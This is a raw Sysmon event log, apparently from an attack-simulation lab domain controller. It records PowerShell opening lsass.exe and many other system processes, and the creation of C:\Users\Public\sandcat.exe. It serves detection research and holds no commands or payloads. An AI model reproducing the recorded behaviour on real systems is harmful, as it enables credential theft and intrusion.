09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001038Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001037Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-2000-000000007F01}2344C:\Windows\system32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001036Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1700-000000007F01}1856C:\Windows\system32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001035Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1600-000000007F01}1576C:\Windows\system32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001034Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1400-000000007F01}1296C:\Windows\System32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001033Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001032Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1200-000000007F01}1256C:\Windows\System32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001031Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001030Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001029Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001028Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-0D00-000000007F01}1004C:\Windows\system32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001027Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\system32\svchost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001026Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1C00-000000007F01}2172C:\Windows\System32\RemoteFXvGPUDisablement.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001025Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1800-000000007F01}2096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001024Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001023Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.466{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001022Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.450{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1500-000000007F01}1356C:\Windows\system32\dwm.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001021Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.450{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-2100-000000007F01}2412C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001020Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.450{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1F00-000000007F01}2244C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001019Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.450{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1B00-000000007F01}2164C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001018Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.450{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1A00-000000007F01}2152C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 10341000x80000000000000001017Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.419{A5F018FF-28BF-5F80-1900-000000007F01}21442780C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28BF-5F80-1E00-000000007F01}2232C:\Windows\system32\compattelrunner.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b294b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b2884|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b335c|UNKNOWN(00007FFAA9953F41) 11241100x80000000000000001016Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:09:22.950{A5F018FF-28BF-5F80-1800-000000007F01}2096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Public\sandcat.exe2020-10-09 09:09:22.950 10341000x80000000000000001015Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.575{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001014Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:22.575{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001013Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 